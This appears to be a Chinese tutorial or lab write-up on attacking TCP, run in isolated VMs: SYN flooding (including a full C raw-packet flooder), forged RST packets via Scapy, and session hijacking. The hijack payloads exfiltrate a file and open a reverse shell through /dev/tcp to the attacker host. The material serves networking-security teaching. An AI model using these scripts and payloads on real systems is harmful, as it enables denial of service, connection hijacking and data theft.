天天看点

对TCP协议的攻击

TCP是如何工作的

  1. TCP客户端程序
  • 首先编写一个简单的TCP客户端程序,它使用TCP发送一个简单的信息给服务器。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

int main()
{
        //1
        int sockfd = socket(AF_INET,SOCK_STREAM,0);
        //2
        struct sockaddr_in dest;
        memset(&dest,0,sizeof(struct sockaddr_in));
        dest.sin_family = AF_INET;
        dest.sin_addr.s_addr = inet_addr("192.168.137.129");
        dest.sin_port = htons(9090);
        //3
        connect(sockfd,(struct sockaddr*)&dest,sizeof(struct sockaddr_in));
        //4
        char* buffer1 = "Hello Server!\n";
        char* buffer2 = "Hello Again!\n";
        write(sockfd, buffer1,strlen(buffer1));
        write(sockfd,buffer2,strlen(buffer2));
        //5
        close(sockfd);
        return 0;
}
           

line 1:当建立socket需要指明通信的类型,SOCK_STREAM是代表TCP。

line 2:设置目的地信息。需要提供服务端的信息,以便系统知道将TCP数据发送到哪里,服务端信息包括IP地址和端口号。

line 3:连接服务端,TCP是一个面向连接的协议,这意味着两端可以互相交交换数据,需要先建立连接。

line 4:发送和接收数据,一旦连接建立,两端便可通过系统调用发送和接收数据,发送数据可以使用write()、send()、sendto()和sendmsg()等系统调用,接收数据可以使用read()、recv()和recvform()等系统调用。

line 5:关闭连接,一旦通信结束,连接需要被关闭,这样它占用的系统资源将被释放。

  • 运行程序,在服务端运行nc命令监听:
$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.130] port 9090 [tcp/*] accepted (family 2, sport 39848)
Hello Server!
Hello Again!
           
  1. TCP服务端程序。
  • 它简单地打印从客户端收到的内容。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

int main()
{
	int sockfd,newsockfd;
	struct sockaddr_in my_addr,client_addr;
	char buffer[100];
	//1
	sockfd = socket(AF_INET,SOCK_STREAM,0);
	//2
	memset(&my_addr,0,sizeof(struct sockaddr_in));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(9090);
	bind(sockfd,(struct sockaddr*)&my_addr,sizeof(struct sockaddr_in));
	//3
	listen(sockfd,5);
	//4
	int client_len = sizeof(client_addr);
	newsockfd = accept(sockfd,(struct sockadrr*)&client_addr,&client_len);
	//5
	memset(buffer,0,sizeof(buffer));
	int len = read(newsockfd,buffer,10);
	printf("Received %d bytes: %s",len,buffer);
	close(newsockfd);
	close(sockfd);
	return 0;
}
           

line 1:建立一个socket。

line 2:绑定一个端口号,一个应用如果需要与其他应用通过网络连接,则需要在主机上注册一个端口号,这样当一个数据包到达时,基于数据包指定的端口号,操作系统可以知道哪个应用时数据包的接收者,服务需要告知操作系统它使用的端口号,这是通过系统调用bind()来完成的。

line 3:监听连接,一旦连接建立,程序使用系统调用listen()等待连接,建立好的连接被放置于一个队列中,等待应用程序接管,listen()的第二个参数指明了队列最多能存放多少个等待的连接,如果队列已满,后来的连接请求将不会被接收。

line 4:接受连接请求,虽然连接已经建立,但对应用程序来说它还是不可用的,一个应用需要明确地表示接受连接,这便是系统调用accept()目的,它从队列中取出一个连接请求,建立一个新的socket,并把socket的文件描述符返回给应用程序。

line 5:发送和接收数据,一旦连接建立并被接受,连接双方就可以传输数据了,服务端发送和接受数据的方式与客户端相同。

  • 接受多条连接
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

int main()
{
	int sockfd,newsockfd;
	struct sockaddr_in my_addr,client_addr;
	char buffer[100];
	//1
	sockfd = socket(AF_INET,SOCK_STREAM,0);
	//2
	memset(&my_addr,0,sizeof(struct sockaddr_in));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(9090);
	bind(sockfd,(struct sockaddr*)&my_addr,sizeof(struct sockaddr_in));
	//3
	listen(sockfd,5);
	//4
	int client_len = sizeof(client_addr);
	while(1)
	{
		newsockfd = accept(sockfd,(struct sockaddr*)&client_addr,&client_len);
		if(fork()==0)
		{
			close(sockfd);
			memset(buffer,0,sizeof(buffer));
			int len = read(newsockfd,buffer,100);
			printf("Received %d bytes: %s",len,buffer);
			close(newsockfd);
			return 0;
		}
		else
		{
			close(newsockfd);
		}
	}
	return 0;
}
           

系统调用fork()通过复制调用进程创建了一个新的进程,这两个进程会运行同样的代码,但父进程运行的fork()会返回子进程的进程ID,而进程运行的fork()则会返回0。

上述代码中的if分支只会在子进程中执行,而else分支则会在父进程中被执行,因为sockfd没有在子进程中使用,所以它需要被关闭,同样地,父进程也不会使用newsockfd,所以也要关闭它。

  1. 数据传输的底层原理
  • 一旦一个连接建立,操作系统将会为连接的每一端分配两个缓冲区,一个用来发送数据,一个用来接收数据,TCP是双工的,也就说,两端都可以发送和接受数据。
  • 当一个应用需要发送数据时,它并不是直接构建一个数据包,而是将数据放在TCP发送缓冲区中,然后由操作系统的TCP协议栈将数据打包发出。
  • 发送缓冲区中的每个字节都有一个序号与它关联,在TCP数据包头部有一个字段叫做序列号,他表示载荷中的第一个字节对应的序列号,当数据包到达时,TCP利用TCP数据头部的序列号将数据包放进接受缓冲区的正确位置,因此,即使数据包不按顺序到达,它也能按序排列。
  • 一旦数据被放进缓冲区,它们会被合并成一条数据流,不管它们来自于相同的数据包还是不同的数据包,数据包的边界将会消息,当接收缓冲区得到足够的数据时,TCP可以让应用读取这些数据。
  • 接收端必须告知发送端数据已经收到,它会向发送端发送确认包,处于效率原因,接收端不会对每个接收到的数据包都发送确认包,实际上它告知发送端的是下一个希望收到数据的序列号。
  • TCP头部
    对TCP协议的攻击

SYN泛洪攻击

  1. 三次握手协议
    对TCP协议的攻击
  • 在TCP中,客户端和服务端通信之前需要先建立一个TCP连接,服务端首先需要进入监听状态以准备接收连接请求,而客户端则需要发出连接请求来启动握手协议。
  • 当服务端收到初始SYN包时,它使用一个叫做传输控制块(TCB)的特殊数据结构来存储连接的信息,到这一步,连接还没有完全建立,因此称为半打开连接,即只有客户端到服务端方向的连接被确认,而服务端到客户端方向的连接还没有初始化,服务端将TCP存储在一个只用于存放半打开连接的队列中,在服务端从客户端得到ACK包后,它会将PCB拿出队列。
  • 如果最后的ACK包没有到达,服务端会重新发送SYN+ACK包,如果最后的ACK包一直收不到,存储在半打开连接队列中TCP最终会因超时而被丢弃。
  • 在三次握手连接完成之前,服务器将所有半打开连接存储到一个队列中,这个队列容量是有限的,如果攻击者可以快速填满这个队列,那么服务器将没有空间空间来存储任何半打开连接的TCB,它将不会在接受任何新的SYN包,即使它的CPU和带宽还没达到上限,结果就是任何人都无法连接服务器。
  • 填满半打开连接的队列:
    1. 连续发送SYN包给服务器。
    2. 不要完成三次握手协议的第三步,因为每一个SYN包都会使一个TCB被插入队列中,所以这一步会消耗掉队列的空间。
  • TCB会被移除队列的情况:
    1. 客户端完成了三次握手协议。
    2. 一个记录在队列中超时。
    3. 服务器收到了半打开连接的Reset包。
  1. 进行SYN泛洪攻击
  • 实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。
  • 对于服务器,需要关闭在Ubuntu中默认启动的称为SYN Cookie的防御措施,这个措施对于防御SYN泛红攻击是很有效的。
[07/15/20][email protected]:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
           
  • 在攻击之前,需要先检查服务器中半打开连接的状态,可以使用netstat -tna命令。
[07/15/20][email protected]:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:52375           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 192.168.137.130:22      192.168.137.1:50602     ESTABLISHED
tcp        0     52 192.168.137.130:22      192.168.137.1:53956     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::21                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:631                 :::*                    LISTEN     
tcp6       0      0 :::3128                 :::*                    LISTEN     
tcp6       0      0 ::1:6010                :::*                    LISTEN     
tcp6       0      0 ::1:6011                :::*                    LISTEN 
           
  • 从下面结果来看,有很多处于监听状态的连接,这表明一些应用正待等待TCP连接,也可以看到一个状态为ESTABLISHED的TCP连接,这就是telnet连接,半打开连接的状态是SYN_RECV,但没有看到任何半打开状态的连接。
  • 为了进行SYN泛红攻击,需要发送大量的SYN包,每一个都有一个随机的源IP地址,将会使用现成的工具来实现,这个工具叫做synflood,是Netwox工具的76.
[07/15/20][email protected]:.../Attacker$ sudo netwox 76 -i 192.168.137.130 -p 23 -s raw
           
  • 在攻击中,目标是服务器的telnet服务,它用的是TCP的23号端口,另外服务器的IP地址是192.168.137.130,-s的raw意味着在ip4/ip6层进行数据包伪造,而不是链路层。
  • 再次使用,netstat命令检查半打开连接的状态,可以看到很多半打开连接的状态,而且源地址好像都是随机的。
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State        
tcp        0      0 192.168.137.130:23      242.93.67.164:32390     SYN_RECV   
tcp        0      0 192.168.137.130:23      252.107.165.187:41089   SYN_RECV   
tcp        0      0 192.168.137.130:23      248.203.57.16:48642     SYN_RECV   
tcp        0      0 192.168.137.130:23      242.54.133.114:64244    SYN_RECV   
tcp        0      0 192.168.137.130:23      251.185.134.52:52313    SYN_RECV   
tcp        0      0 192.168.137.130:22      192.168.137.1:50602     ESTABLISHED
tcp        0      0 192.168.137.130:23      251.121.92.210:9883     SYN_RECV   
tcp        0      0 192.168.137.130:23      254.51.242.41:25299     SYN_RECV   
tcp        0      0 192.168.137.130:23      246.176.154.160:40941   SYN_RECV   
tcp        0      0 192.168.137.130:23      252.204.248.124:22565   SYN_RECV   
tcp        0      0 192.168.137.130:23      241.7.117.215:40475     SYN_RECV   
tcp        0      0 192.168.137.130:23      244.44.250.253:6286     SYN_RECV   
tcp        0      0 192.168.137.130:23      242.255.44.185:52611    SYN_RECV   
tcp        0      0 192.168.137.130:23      248.216.78.17:21601     SYN_RECV   
...
           
  • 为了证明攻击的确成功了,可以让用户端通过telnet连接服务器,telnet客户端连接一段时间后最终放弃了:
Connecting to 192.168.137.130:23...
Could not connect to '192.168.137.130' (port 23): Connection failed.
           
  • 攻击并没有占用服务器太多的CPU资源,这可以通过在服务器中运行top命令来检验,从下面的结果可以看出,CPU的使用率并不高,检查已有的从客户端到服务器的连接,它们也正常工作,除了没有多余的空间给半打开的连接,服务器基本上始终活跃而且正常工作。
[07/15/20][email protected]:~$ top
op - 02:01:55 up  2:24,  3 users,  load average: 0.15, 0.10, 0.03
Tasks: 336 total,   1 running, 334 sleeping,   1 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.0 sy,  0.0 ni, 99.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  8290764 total,  6895640 free,   657492 used,   737632 buff/cache
KiB Swap:  1046524 total,  1046524 free,        0 used.  6910560 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND           
  839 proxy     20   0   76084  20692   8788 S   0.3  0.2   0:00.68 squid             
 1257 root      20   0   30524   7652   6912 S   0.3  0.1   0:05.24 vmtoolsd          
 1375 root      20   0    4556   1996   1708 S   0.3  0.0   0:00.37 irqbalance        
 5609 seed      20   0   10676   5320   4596 R   0.3  0.1   0:00.39 top               
    1 root      20   0   24296   5048   3568 S   0.0  0.1   0:02.13 systemd           
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd          
    3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/0       
    5 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 kworker/0:0H      
    7 root      20   0       0      0      0 S   0.0  0.0   0:00.40 rcu_sched         
    8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 rcu_bh            
    9 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 migration/0       
   10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 lru-add-drain     
   11 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 watchdog/0        
   12 root      20   0       0      0      0 S   0.0  0.0   0:00.00 cpuhp/0           
   13 root      20   0       0      0      0 S   0.0  0.0   0:00.00 cpuhp/1           
   14 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 watchdog/1        
   15 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 migration/1       
   16 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/1       
   18 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 kworker/1:0H      
   19 root      20   0       0      0      0 S   0.0  0.0   0:00.00 cpuhp/2           
   20 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 watchdog/2
           
  • SYN攻击只是针对某个具体服务的,同一台计算机中的其他服务不受影响,例如,实验中的攻击对象是telnet服务器,其他服务(如SSH)不会受到影响,这是因为不同服务使用的是各自的半打开连接队列,而不是一个公共队列。
  1. 编程进行SYN泛洪攻击
  • 伪造TCP数据包,在伪造的数据包中,使用随机作为源IP地址、源端口和序列号,这次攻击的目标是Web服务,而不是telnet服务。
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdlib.h>

#define DEST_IP "192.168.137.130"
#define DEST_PORT 80
#define PACKET_LEN 1500
#define TH_SYN 1
typedef struct tcpheader 
{
	u_short tcp_sport;
	u_short tcp_dport;
	u_int tcp_seq;
	u_int tcp_ack;
	u_int tcp_offx2:4;
	u_char tcp_flags;
	u_short tcp_win;
	u_short tcp_sum;
	u_short tcp_urp;
};
struct ipheader{
		unsigned char iph_ihl:4,iph_ver:4;
		unsigned char iph_tos;
		unsigned short int iph_len ;
		unsigned short int iph_ident;
		unsigned short int iph_flag:3,iph_offset:12;
		unsigned char iph_ttl;
		unsigned char iph_protocol;
		unsigned  short int iph_chksum;
		struct in_addr iph_sourceip;
		struct in_addr iph_destip;
	};
struct pseudo_tcp{
	unsigned saddr,daddr;
	unsigned char mbz;
	unsigned char ptcl;
	unsigned short tcpl;
	struct tcpheader tcp;
	char payload[PACKET_LEN];
};
unsigned short in_cksum(unsigned short* buf,int length)
{
	unsigned short * w = buf;
	int nleft = length;
	int sum = 0;
	unsigned short temp = 0;
	while(nleft > 1)
	{
		sum += *w++;
		nleft -= 2;
	}
	if(nleft == 1)
	{
		*(u_char*)(&temp) = *(u_char *)w;
		sum+= temp;
	}
	sum = (sum>>16) + (sum&0xffff);
	sum+= (sum>>16);
	return (unsigned short)(~sum);
}
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
	struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip + sizeof(struct ipheader));
	int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
	struct pseudo_tcp p_tcp;
	memset(&p_tcp,0x0,sizeof(struct pseudo_tcp));
	p_tcp.saddr = ip->iph_sourceip.s_addr;
	p_tcp.daddr = ip->iph_destip.s_addr;
	p_tcp.mbz =0;
	p_tcp.ptcl = IPPROTO_TCP;
	p_tcp.tcpl = htons(tcp_len);
	memcpy(&p_tcp.tcp,tcp,tcp_len);
	return (unsigned short) in_cksum((unsigned short*)&p_tcp,tcp_len+12);
}
void send_raw_ip_packet(struct ipheader* ip)
	{
	        struct sockaddr_in dest_info;
	        int enable =1;
	        //1
	        int sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
	        //2
	        setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&enable,sizeof(enable));
	        //3
	        dest_info.sin_family = AF_INET;
	        dest_info.sin_addr = ip->iph_destip;
	        //4
	        sendto(sock,ip,ntohs(ip->iph_len),0,(struct sockaddr*)&dest_info,sizeof(dest_info));
	        close(sock);
	}
int main()
{
	char buffer[PACKET_LEN];
	struct ipheader* ip = (struct ipheader*)buffer;
	struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));
	srand(time(0));
	while(1)
	{
		memset(buffer,0,PACKET_LEN);
		tcp->tcp_sport = rand();
		tcp->tcp_dport = htons(DEST_PORT);
		tcp->tcp_seq = rand();
		tcp->tcp_offx2 =0x50;
		tcp->tcp_flags = TH_SYN;
		tcp->tcp_win  = htons(2000);
		tcp->tcp_sum = 0;
		
		ip->iph_ver = 4;
		ip->iph_ihl = 5;
		ip->iph_ttl = 50;
		ip->iph_sourceip.s_addr = rand();
		ip->iph_destip.s_addr = inet_addr(DEST_IP);
		ip->iph_protocol = IPPROTO_TCP;
		ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));
		tcp->tcp_sum = calculate_tcp_checksum(ip);
		send_raw_ip_packet(ip);
	}
	return 0;
}
           
对TCP协议的攻击
  • 可以看到很多随机的源地址和端口的数据包被发送到服务器的80端口。
  1. 防御措施
  • 一旦系统检测到半打开连接数量超过一定数量时,SYN cookie机制会被自动激活,这个机制会给性能带来一定影响,因此没有攻击时不会被使用。
  • SYN cookie机制的思想是服务器在收到SYN包时并不把它存入半打开连接队列,这样就不会出现队列满了的危险。
  • SYN cookies巧妙利用了TCP的初始序号,在服务器收到一个SYN包后,它本应随机产生一个TCP初始序列号,放在SYN+ACK中返回给客户端,然而,SYN cookies会使用只有服务器才知道的密钥对包中的信息(包括IP地址、端口号和序列号等)计算加密哈希值,并把这个哈希值H作为TCP的初始序列号,H就是SYN cookies。如果客户端的ip地址时随机的,这个包将不会送到客户端。如果客户端是一个真正的用户,它将会得到这个数据包,并返回一个字段值H+1的ACK包,当服务器收到ACK包,它可以基于包的信息重新计算cookies,以此检验确认字段中的序列号是否有效。
  • 这个验证过程防止了ACK泛红攻击,并确保ACK包是之前的SYN+ACK包的结果,,因为攻击者不知道cookies所需要使用的密钥,所以无法轻易仿造有效的cookies。

TCP复位攻击

  1. TCP复位攻击的目标是破坏两个主机之间已存在的连接。
  2. 关闭TCP连接的两种方式。
  • 当TCP连接的一端(称为A)没有更多的数据要传给另一端(称为B)时,它会发送一个FIN包给另一端,FIN是TCP数据包头中6个标志位之一,当B收到这个包后,回复一个ACK包,这样,A到B的连接就关闭了,但B到A的连接依旧保持。如果B要关闭这个方向的连接,就发送一个FIN包给A,A再回复一个ACK包,此时整个TCP连接才关闭。
  • 只需发送一个简单的TCP RST包给另一方,连接将立刻中断,RST也是TCP数据包头中的6个标志位之一。
  1. 发动TCP复位攻击前的准备
  • 发动攻击前的设置和再SYN泛洪攻击中一样,如果攻击者和客户端或服务器不在一个网络,由于难以正确猜测序列号,攻击将非常困难,尽管实际上也能够实施攻击。
  • 实验中把攻击者和客户端放在同一个网络下。
  1. telnet连接中的TCP复位攻击
  • 首先来攻击telnet连接,再设置中,从客户端(192.168.137.1)登录到服务器(192.168.137.130),建立一个连接,攻击者的目标是使用TCP RST包来中断该连接。
  • RST包可以发送给客户端也可以发送给服务器,在实验中选择发送给客户端。
  • 我们在客户端使用telnet连接到服务器,然后在攻击者的计算机上运行Wireshark来捕获从服务器发送到客户端的最新TCP数据包。
    对TCP协议的攻击
  • 可以看到,该TCP数据包的源端口号是23,目标端口号是55027,得到下一个序列号是661902552,它是有sequence number + Tcp segment len得到的,它表示紧接着这个数据包之后的数据将从这个序列号开始。
  • 使用Python的Scapy框架编写一个简单的程序来发送RST包:
#!/usr/bin/python
import sys
from scapy.all import *

print("SENDING RESET PACKET......");
IPLayer = IP(src="192.168.137.130",dst="192.168.137.1")
TCPLayer = TCP(sport=23,dport=55027,flags="R",seq=661902552)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
           
  • 运行程序,发现客户端的telnet连接已经中断。
[07/15/20][email protected]:~$ 
Connection closed by foreign host.
           
  1. SSH连接中的复位攻击
  • 如果加密是在网络层的,那么整个TCP数据包(包括它的头部)都会被加密,攻击将无法进行,因为加密使得无法嗅探或者伪造数据包。
  • SSH的TCP连接时加密的,但它只加密TCP的数据,而不加密TCP头,即这个加密是在网络层之上的传输层中进行的,因为TCP复位攻击只需要伪造TCP头部,不需要加载任何数据,因此TCP的复位攻击可以成功。
  • 使用SSH进行实验,攻击方法与telnet类似,只需要将端口从23改成22即可。
    对TCP协议的攻击
#!/usr/bin/python
import sys
from scapy.all import *

print("SENDING RESET PACKET......");
IPLayer = IP(src="192.168.137.130",dst="192.168.137.1")
TCPLayer = TCP(sport=22,dport=55052,flags="R",seq=1573416439)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
           
[07/15/20][email protected]:~$ 
Connection closed by foreign host.
           
  1. 视频流连接中的TCP复位攻击
  • 针对视频流中的TCP复位和针对telnet连接的攻击及其相似,但是复位视频流攻击面临的难题是如何找到准确的序列号。
  • 可以编写程序自动完成攻击,该程序嗅探视频流数据包,获取序列号和其他重要参数并且自动发送伪造的TCP RST包,程序用到Python的Scapy框架,假设用户通过IP地址192.168.137.130观看视频。
#!/usr/bin/python

from scapy.all import *

def spoof_tcp(pkt):
	IPLayer = IP(dst="192.168.137.130",src=pkt[IP].dst)
	TCPLayer = TCP(flags="R",seq=pkt[TCP].ack,
	dport=pkt[TCP].sport,sport=pkt[TCP].dport)
	spoofpkt = IPLayer/TCPLayer
	send(spoofpkt, verbose=0)

pkt=sniff(filter='tcp and src host 192.168.137.130',prn=spoof_tcp)
           
  • 上述python程序对每个来自192.168.137.130的TCP包发送一个RST包,这个伪造的数据包被发送到192.168.137.130以重置它的连接。

TCP会话劫持

  1. 一旦客户端和服务器完成三次握手协议,一个连接就建立了,建立会话后,两端都可以发送数据给对方,由于一台计算机可以与其他计算机有多个并发TCP会话,因此它需要知道一个数据包是属于哪一个TCP会话的。
  2. TCP使用4元组来唯一确定一个会话:源IP地址、目的IP地址、源端口号、目的端口号。
  3. 为了使伪造的数据包被接收,还需要满足一个关键条件,那就是TCP序列号,TCP使面向连接的协议,将数据视为字符流,因此TCP会话中的每个字节都有一个唯一的序列号,用来确定它在流中的位置。
  4. 如果能够在伪造的数据包中正确设置特征和序列号,就能让对方接收伪造的TCP数据,好像它们来自合法的发送方一样,这样就能控制发送方和接收方的会话。如果接收方使telnet服务器,从发送方到接收方的数据是命令,一旦控制了该会话,就可以让telnet服务器运行攻击者的命令,这就是TCP会话劫持。
  5. 发动TCP会话劫持攻击
  • 实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。
  • 假设攻击者和客户端或服务器在同一个局域网内。
  • 启动telnet连接服务器,找到telnet发送到服务器的最后一个数据包。

    实验中启动了三个虚拟机,一个是用户(192.168.137.1),一个是服务器(192.168.137.130),一个是攻击者(192.168.137.129)。

    对TCP协议的攻击
  • 假设在服务器的用户账户中有一个极度机密的文件,文件名为secret,可以使用cat命令答应输出内容,但是输出会在服务器中显示,而不是攻击者端。需要将输出重定向到攻击者的计算机。
  • 现在攻击者端运行以下命令,建立一个TCP服务器监听9090端口:
[email protected]:/home/Attacker# nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
           
  • 使用scapy构造会话劫持攻击程序:
#!/usr/bin/python

import sys
from scapy.all import *

print("session attack")
IPLayer = IP(src="192.168.137.1",dst="192.168.137.130")
TCPLayer = TCP(sport=55583,dport=23,flags="A",seq=3498598443,ack=3704392790)
Data = "\r cat /home/seed/secret > /dev/tcp/192.168.137.129/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
           
  • /dev/tcp/192.168.137.129/9090,这并不是一个真正的文件而是一个虚拟的文件,当输入放入其中时,数据会发送到92.168.137.129的90端口,即攻击者的计算机。
  • 客户端输出:
[email protected]:/home/Attacker# nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.130] port 9090 [tcp/*] accepted (family 2, sport 40426)
this is secret
           
  • 如果当前可以看到一个序列号N,则可以在攻击时使用N+100,只要这个序列号在服务器接收窗口的允许范围内,伪造数据就会被放在接收方缓冲区中,当受害者在客户端进行输入时,缺失的数据很快就会被填充,攻击命令也会被执行。
  • 需要在伪造数据的开头增加一个/r,否则攻击命令和受害者输入的字符串结合,可以会改变命令的语义。
  • 实验中可以使用一个略大一点的序列号,在发送一个攻击包后,服务器并不会马上得到机密内容,它要等待用户输入一些新的字符,直到达到攻击使用的序列号,此时nc程序会立即收到机密内容,表明攻击成功,只要用户依然在使用telnet程序,攻击就可以成功。
  • 攻击者注入的数据会扰乱客户端和服务器之间的序列号。
    1. 当服务器回复欺骗包时,确认域中存放的是攻击者给出的序列号加上有效载荷的长度,但对于客户端来说,因为还没有达到这个序列号,所以它会认为这个回复是无效的,因此会丢弃这个数据包,当然也不会确认收到该数据包,如果回复未被确认,服务器会认为这个回复包丢失了,就会一直重发这个包,而这个包又会一直被客户端丢弃。
    2. 当在客户端telnet程序输入一些内容时,客户端发出的包使用的序列号已经被攻击者使用了,因此服务器会视这些数据为重复数据,不予理睬,由于得不到任何确认,客户端将会持续重发这些数据,基本上,客户端和服务器将会进入死锁状态,并且一直发送数据给对方并丢弃来自对方的数据。
  1. 在会话劫持攻击中,可以在伪造包中放入两条命令(用分号分开):第一条命令是下载wget,用来下载被修改的rshd程序,第二条命令是运行rshd程序,然后就可以从攻击者端登入服务器。
  2. 创建反向shell
  • 反向shell是一个运行在远程主机中的shell进程,但它从攻击者端得到输入,并把输出交给攻击者端。
  • 使用如下TCP数据项:
  • /bin/bash -i > /dev/tcp/192.168.137.129/9090,将TCP伪设备作为Bash程序的标准输出设备。
  • bash程序不仅使用标准输出设备也使用标准错误设备,2>&1重定向标准错误设备到文件符1(标注输出设备)。
  • 0<&1使用文件符号1作为标准输入设备。
    对TCP协议的攻击
#!/usr/bin/python
import sys
from scapy.all import *

print("session attack")
IPLayer = IP(src="192.168.137.1",dst="192.168.137.131")
TCPLayer = TCP(sport=49797,dport=23,flags="A",seq=2855226016,ack=238070712)
Data = "\r /bin/bash -i > /dev/tcp/192.168.137.129/9090 2>&1 0<&1 \r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
           
  • 此时服务器使用IP地址为192.168.137.131,现在攻击者端启动TCP服务器nc -lv 9090,然后运行上述python程序。
[07/15/20][email protected]:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.131] port 9090 [tcp/*] accepted (family 2, sport 36920)
[07/15/20][email protected]:~$ ifconfig
ens33     Link encap:Ethernet  HWaddr 00:0c:29:33:c1:d7  
          inet addr:192.168.137.131  Bcast:192.168.137.255  Mask:255.255.255.0
          inet6 addr: fe80::1fc6:9353:f37f:93f9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1947 errors:0 dropped:0 overruns:0 frame:0
          TX packets:236 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:210458 (210.4 KB)  TX bytes:25981 (25.9 KB)
          Interrupt:19 Base address:0x2000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:196 errors:0 dropped:0 overruns:0 frame:0
          TX packets:196 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:28877 (28.8 KB)  TX bytes:28877 (28.8 KB)
           
  • 根据ip地址显示,我们成功创建了反向shell。

继续阅读